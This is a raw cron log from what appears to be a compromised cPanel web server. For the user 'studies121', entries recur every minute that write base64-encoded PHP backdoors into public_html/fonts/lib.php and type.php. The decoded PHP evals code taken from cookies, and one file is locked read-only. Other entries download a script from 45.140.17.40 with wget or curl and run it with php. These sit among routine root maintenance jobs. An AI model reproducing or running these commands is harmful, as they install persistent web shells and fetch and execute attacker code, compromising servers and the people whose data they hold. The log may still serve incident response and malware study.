Sep  6 00:41:01 ip-184-168-122-23 CROND[18527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:42:01 ip-184-168-122-23 CROND[18607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:42:01 ip-184-168-122-23 CROND[18603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:42:01 ip-184-168-122-23 CROND[18605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:42:01 ip-184-168-122-23 CROND[18606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:42:01 ip-184-168-122-23 CROND[18604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:43:01 ip-184-168-122-23 CROND[18777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:43:01 ip-184-168-122-23 CROND[18778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:43:01 ip-184-168-122-23 CROND[18779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:43:01 ip-184-168-122-23 CROND[18780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:44:01 ip-184-168-122-23 CROND[18869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:44:01 ip-184-168-122-23 CROND[18874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:44:01 ip-184-168-122-23 CROND[18875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:44:01 ip-184-168-122-23 CROND[18876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:44:01 ip-184-168-122-23 CROND[18877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:45:01 ip-184-168-122-23 CROND[18960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:45:01 ip-184-168-122-23 CROND[18962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:45:01 ip-184-168-122-23 CROND[18967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:45:01 ip-184-168-122-23 CROND[18965]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 00:45:01 ip-184-168-122-23 CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:45:01 ip-184-168-122-23 CROND[18968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:45:01 ip-184-168-122-23 CROND[18969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:46:01 ip-184-168-122-23 CROND[19054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:46:01 ip-184-168-122-23 CROND[19058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:46:01 ip-184-168-122-23 CROND[19056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:46:01 ip-184-168-122-23 CROND[19059]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:46:01 ip-184-168-122-23 CROND[19057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:46:01 ip-184-168-122-23 CROND[19060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:46:01 ip-184-168-122-23 CROND[19061]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 00:47:01 ip-184-168-122-23 CROND[19241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:47:01 ip-184-168-122-23 CROND[19243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:47:01 ip-184-168-122-23 CROND[19242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:47:01 ip-184-168-122-23 CROND[19244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:48:01 ip-184-168-122-23 CROND[19417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:48:01 ip-184-168-122-23 CROND[19418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:48:01 ip-184-168-122-23 CROND[19419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:48:01 ip-184-168-122-23 CROND[19420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:48:01 ip-184-168-122-23 CROND[19421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:49:01 ip-184-168-122-23 CROND[19508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:49:01 ip-184-168-122-23 CROND[19509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:49:01 ip-184-168-122-23 CROND[19511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:49:01 ip-184-168-122-23 CROND[19513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:50:01 ip-184-168-122-23 CROND[19597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:50:01 ip-184-168-122-23 CROND[19594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:50:01 ip-184-168-122-23 CROND[19600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:51:01 ip-184-168-122-23 CROND[19696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:51:01 ip-184-168-122-23 CROND[19697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:51:01 ip-184-168-122-23 CROND[19698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:51:01 ip-184-168-122-23 CROND[19695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:52:01 ip-184-168-122-23 CROND[19776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:52:01 ip-184-168-122-23 CROND[19778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:52:01 ip-184-168-122-23 CROND[19781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:52:01 ip-184-168-122-23 CROND[19780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:52:01 ip-184-168-122-23 CROND[19779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:53:01 ip-184-168-122-23 CROND[19952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:53:01 ip-184-168-122-23 CROND[19951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:53:01 ip-184-168-122-23 CROND[19950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
